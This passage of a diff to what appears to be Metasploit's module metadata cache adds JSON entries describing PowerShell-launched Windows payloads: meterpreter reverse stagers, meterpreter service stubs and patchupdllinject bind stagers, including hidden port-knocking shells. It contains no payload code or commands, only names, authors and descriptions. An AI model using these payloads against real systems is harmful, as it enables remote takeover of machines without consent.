"adapted_refname": "windows/meterpreter/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_ipv6_tcp" + }, + "payload_cmd/windows/powershell/meterpreter/reverse_named_pipe": { + "name": "Powershell Exec, Windows x86 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker via a named pipe pivot", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/reverse_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_named_pipe" + }, + "payload_cmd/windows/powershell/meterpreter/reverse_nonx_tcp": { + "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "vlad902 " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/reverse_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_nonx_tcp", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_nonx_tcp" + }, + "payload_cmd/windows/powershell/meterpreter/reverse_ord_tcp": { + "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_ord_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "spoonm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/reverse_ord_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_ord_tcp", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_ord_tcp" + }, + "payload_cmd/windows/powershell/meterpreter/reverse_tcp": { + "name": "Powershell Exec, Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp" + }, + "payload_cmd/windows/powershell/meterpreter/reverse_tcp_allports": { + "name": "Powershell Exec, Reverse All-Port TCP Stager", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_allports", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp_allports", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_tcp_allports", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp_allports" + }, + "payload_cmd/windows/powershell/meterpreter/reverse_tcp_dns": { + "name": "Powershell Exec, Reverse TCP Stager (DNS)", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_dns", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp_dns", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_tcp_dns", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp_dns" + }, + "payload_cmd/windows/powershell/meterpreter/reverse_tcp_rc4": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "mihi", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp_rc4" + }, + "payload_cmd/windows/powershell/meterpreter/reverse_tcp_rc4_dns": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_rc4_dns", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "mihi", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp_rc4_dns", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_tcp_rc4_dns", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp_rc4_dns" + }, + "payload_cmd/windows/powershell/meterpreter/reverse_tcp_uuid": { + "name": "Powershell Exec, Reverse TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp_uuid" + }, + "payload_cmd/windows/powershell/meterpreter/reverse_winhttp": { + "name": "Powershell Exec, Windows Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_winhttp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "Borja Merino " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows winhttp)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/reverse_winhttp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_winhttp", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_winhttp" + }, + "payload_cmd/windows/powershell/meterpreter/reverse_winhttps": { + "name": "Powershell Exec, Windows Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_winhttps", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", "sf ", - "spoonm " + "OJ Reeves", + "hdm ", + "Borja Merino " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTPS (Windows winhttp)", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -180925,18 +198543,411 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_ord_tcp", + "ref_name": "cmd/windows/powershell/meterpreter/reverse_winhttps", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_winhttps", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_winhttps" }, - "payload_cmd/windows/powershell/dllinject/reverse_tcp": { - "name": "Powershell Exec, Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp", + "payload_cmd/windows/powershell/metsvc_bind_tcp": { + "name": "Powershell Exec, Windows Meterpreter Service, Bind TCP", + "fullname": "payload/cmd/windows/powershell/metsvc_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nStub payload for interacting with a Meterpreter Service", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/metsvc_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/metsvc_bind_tcp", + "staged": false + }, + "payload_cmd/windows/powershell/metsvc_reverse_tcp": { + "name": "Powershell Exec, Windows Meterpreter Service, Reverse TCP Inline", + "fullname": "payload/cmd/windows/powershell/metsvc_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nStub payload for interacting with a Meterpreter Service", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/metsvc_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/metsvc_reverse_tcp", + "staged": false + }, + "payload_cmd/windows/powershell/patchupdllinject/bind_hidden_ipknock_tcp": { + "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_hidden_ipknock_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "jt ", + "skape ", + "hdm ", + "sf ", + "Borja Merino " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/patchupdllinject/bind_hidden_ipknock_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/bind_hidden_ipknock_tcp", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_hidden_ipknock_tcp" + }, + "payload_cmd/windows/powershell/patchupdllinject/bind_hidden_tcp": { + "name": "Powershell Exec, Hidden Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_hidden_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "jt ", + "skape ", + "hdm ", + "sf ", + "Borja Merino " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/patchupdllinject/bind_hidden_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/bind_hidden_tcp", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_hidden_tcp" + }, + "payload_cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp": { + "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "jt ", + "skape ", + "hdm ", + "sf " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_ipv6_tcp" + }, + "payload_cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "jt ", + "skape ", + "hdm ", + "sf ", + "OJ Reeves" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_ipv6_tcp_uuid" + }, + "payload_cmd/windows/powershell/patchupdllinject/bind_named_pipe": { + "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "jt ", + "skape ", + "UserExistsError" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/patchupdllinject/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_named_pipe" + }, + "payload_cmd/windows/powershell/patchupdllinject/bind_nonx_tcp": { + "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "jt ", + "skape ", + "vlad902 " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/patchupdllinject/bind_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/bind_nonx_tcp", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_nonx_tcp" + }, + "payload_cmd/windows/powershell/patchupdllinject/bind_tcp": { + "name": "Powershell Exec, Bind TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "jt ", + "skape ", + "hdm ", + "sf " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/patchupdllinject/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/bind_tcp", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_tcp" + }, + "payload_cmd/windows/powershell/patchupdllinject/bind_tcp_rc4": { + "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_tcp_rc4", "aliases": [ ], @@ -180945,14 +198956,232 @@ "type": "payload", "author": [ "Spencer McIntyre", + "jt ", + "skape ", + "hdm ", "sf ", + "mihi", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/patchupdllinject/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_tcp_rc4" + }, + "payload_cmd/windows/powershell/patchupdllinject/bind_tcp_uuid": { + "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "jt ", + "skape ", "hdm ", + "OJ Reeves" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/patchupdllinject/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_tcp_uuid" + }, + "payload_cmd/windows/powershell/patchupdllinject/find_tag": { + "name": "Powershell Exec, Find Tag Ordinal Stager", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/find_tag", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "jt ", "skape " ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/patchupdllinject/find_tag", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/find_tag", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/findtag_ord" + }, + "payload_cmd/windows/powershell/patchupdllinject/reverse_ipv6_tcp": { + "name": "Powershell Exec, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "jt ", + "skape ", + "hdm ", + "sf " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_ipv6_tcp" + }, + "payload_cmd/windows/powershell/patchupdllinject/reverse_nonx_tcp": { + "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "jt ", + "skape ", + "vlad902 " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": 